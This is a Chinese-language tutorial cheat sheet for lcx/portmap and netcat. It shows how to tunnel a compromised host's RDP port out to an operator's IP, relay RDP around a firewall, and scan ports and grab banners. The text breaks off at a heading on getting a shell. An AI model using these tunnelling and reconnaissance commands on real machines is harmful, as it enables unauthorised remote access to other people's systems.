lcx用法：

lcx的Linux版本为portmap、

1.内网端口转发

本机: lcx -listen 2222 3333

2222为转发端口，3333为本机任意未被占用的端口

肉鸡：lcx -slave 119.75.217.56 2222 127.0.0.1 3389

119.75.217.56 为本机IP,2222为转发端口，127.0.0.1为肉鸡内网IP，3389为远程终端端口

3389连接时格式 127.0.0.1:3333

 

2. 本地端口映射

如果3389端口被防火墙禁用，那我们可以转发到其他端口。如53

lcx -tran 53 本机ip地址 3389

 

netcat用法：

1. 简易使用

 

1. 1. 命令查询
      

      root@calm:~# nc -h
      [v1.10-41.1+b1]
      connect to somewhere: nc [-options] hostname port[s] [ports] ...
      listen for inbound: nc -l -p port [-options] [hostname] [port]
      options:
      -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
      -e filename program to exec after connect [dangerous!!]
      -b allow broadcasts
      -g gateway source-routing hop point[s], up to 8
      -G num source-routing pointer: 4, 8, 12, ...
      -h this cruft
      -i secs delay interval for lines sent, ports scanned
      -k set keepalive option on socket
      -l listen mode, for inbound connects
      -n numeric-only IP addresses, no DNS
      -o file hex dump of traffic
      -p port local port number
      -r randomize local and remote ports
      -q secs quit after EOF on stdin and delay of secs
      -s addr local source address
      -T tos set Type Of Service
      -t answer TELNET negotiation
      -u UDP mode
      -v verbose [use twice to be more verbose]
      -w secs timeout for connects and final net reads
      -C Send CRLF as line-ending
      -z zero-I/O mode [used for scanning]
      port numbers can be individual or ranges: lo-hi [inclusive];
      hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

   2. Banner抓取
      nc -nv 192.168.2.246 22
   3. 远程连接主机
      

       

       nc -nvv ip port

   4. 端口扫描
      

      root@calm:~# nc -v 192.168.2.183 80
      WIN-7-webserver.lan [192.168.2.183] 80 (http) open

      扫描指定端口段
      root@calm:~# nc -v -z  192.168.2.183 1-1000
   5. 端口监听
      nc -l -p port
      

       

   6. 文件传输
      在本地监听：
      

       

       在另一台输入：
      

       

   7.  简易聊天
      本地vps输入：nc -l -p 999
      目标机器输入：nc -vn vps的ip 999
      

       

      

2. 获取shell

   1. 正向shell